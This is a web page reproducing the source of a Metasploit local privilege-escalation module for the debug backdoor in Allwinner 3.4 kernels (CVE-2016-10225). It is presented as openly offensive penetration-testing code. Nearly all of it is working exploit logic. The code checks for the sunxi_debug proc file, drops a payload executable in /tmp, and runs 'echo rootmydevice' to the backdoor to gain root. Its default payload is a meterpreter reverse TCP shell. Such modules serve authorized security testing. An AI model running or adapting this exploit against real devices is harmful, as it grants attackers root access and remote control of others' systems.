Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/local/allwinner_backdoor.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Allwinner 3.4 Legacy Kernel Local Privilege Escalation',17'Description' => %q{18This module attempts to exploit a debug backdoor privilege escalation in19Allwinner SoC based devices.2021Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4.2223Vulnerable OS: all OS images available for Orange Pis,24any for FriendlyARM's NanoPi M1,25SinoVoip's M2+ and M3,26Cuebietech's Cubietruck +27Linksprite's pcDuino8 Uno.28Exploitation may be possible against Dragon (x10) and Allwinner Android tablets.29},30'License' => MSF_LICENSE,31'Author' => [32'h00die <[email protected]>', # Module33'KotCzarny' # Discovery34],35'Platform' => [ 'android', 'linux' ],36'DisclosureDate' => '2016-04-30',37'DefaultOptions' => {38'payload' => 'linux/armle/meterpreter/reverse_tcp'39},40'Privileged' => true,41'Arch' => ARCH_ARMLE,42'References' => [43[ 'CVE', '2016-10225' ],44[ 'URL', 'http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/'],45[46'URL', 'https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:' \47'https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us'48],49[ 'URL', 'http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390']50],51'SessionTypes' => [ 'shell', 'meterpreter' ],52'Targets' => [53[ 'Auto', {} ]54],55'Notes' => {56'Reliability' => [ REPEATABLE_SESSION ],57'Stability' => [ CRASH_SAFE ],58'SideEffects' => [ ARTIFACTS_ON_DISK ]59},60'DefaultTarget' => 061)62)63end6465def check66backdoor = '/proc/sunxi_debug/sunxi_debug'6768if file_exist?(backdoor)69return CheckCode::Appears("#{backdoor} exists")70end7172CheckCode::Safe("Backdoor #{backdoor} not found")73end7475def exploit76backdoor = '/proc/sunxi_debug/sunxi_debug'7778fail_with(Failure::NotVulnerable, "Backdoor #{backdoor} not found.") unless file_exist?(backdoor)7980pl = generate_payload_exe81exe_file = "/tmp/#{rand_text_alpha(5)}.elf"82vprint_good "Backdoor Found, writing payload to #{exe_file}"83write_file(exe_file, pl)84cmd_exec("chmod +x #{exe_file}")8586vprint_good('Escalating')87cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")88end89end909192